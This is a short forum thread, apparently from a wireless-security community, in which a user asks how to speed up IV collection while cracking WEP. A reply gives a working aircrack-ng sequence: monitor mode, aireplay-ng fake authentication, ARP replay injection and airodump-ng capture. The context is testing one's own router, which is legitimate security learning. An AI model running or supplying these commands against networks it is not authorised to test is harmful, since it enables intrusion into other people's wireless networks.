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Thread: Suggestions for speeding up IVs using WG511T

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    TexRyker
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    Default Suggestions for speeding up IVs using WG511T

    Hello,

    I was hoping someone could tell me how to work on speeding up my ivs that are coming in. I am running the script on the tutorial forum. Currently my attack has been running about for 10 minutes and has only got 3000 ivs. I thought it should be more than this. Signal strenght is good. I did search and just saw it depends on where you are relative to the AP. I was hoping I could change a setting to boost things a bit. Or maybe this will be a 1 week crack.

    Thank you in advance.
    TexRyker

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    while you are capping the Ivs open a new console window

    try this worked well with my router

    airmon-ng start wifi0 10
    wlanconfig ath0 destroy
    AP=(MAC of your test Router)
    WIFI=(Mac of the WIFI card)

    ifconfig ath1 up
    iwconfig ath1 mode Monitor channel 10
    aireplay-ng -1 0 -e "Networkname" -a $AP -h $WIFI ath1
    aireplay-ng -3 -e "Networkname" -b $AP -a $AP -h $wifi ath1
    airodump-ng -w whatever.cap ath1

    This worked on the last release I havent been able to try this on the new release due to issues..

    Hope this helps.

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    TexRyker
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    Quote Originally Posted by dwjs1974 View Post
    while you are capping the Ivs open a new console window

    try this worked well with my router

    airmon-ng start wifi0 10
    wlanconfig ath0 destroy
    AP=(MAC of your test Router)
    WIFI=(Mac of the WIFI card)

    ifconfig ath1 up
    iwconfig ath1 mode Monitor channel 10
    aireplay-ng -1 0 -e "Networkname" -a $AP -h $WIFI ath1
    aireplay-ng -3 -e "Networkname" -b $AP -a $AP -h $wifi ath1
    airodump-ng -w whatever.cap ath1

    This worked on the last release I havent been able to try this on the new release due to issues..

    Hope this helps.
    Dumb question but from my experience is should look like this:

    aireplay-ng -1 0 -e "TESTROUTER" -a 00:11:22:... -h 55:33:22:... ath1
    aireplay-ng -3 -e "TESTROUTER" -b $AP -a 00:11:22:... -h 55:33:22:... ath1
    airodump-ng -w whatever.cap ath1

    Does that look right?

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    yep that does look correct but

    If you dont want to keep looking to type out the AP mac address every time

    type AP=mac address
    WIFI=mac address
    this saves you looking up your AP or your WIFI mac address.

    Dave

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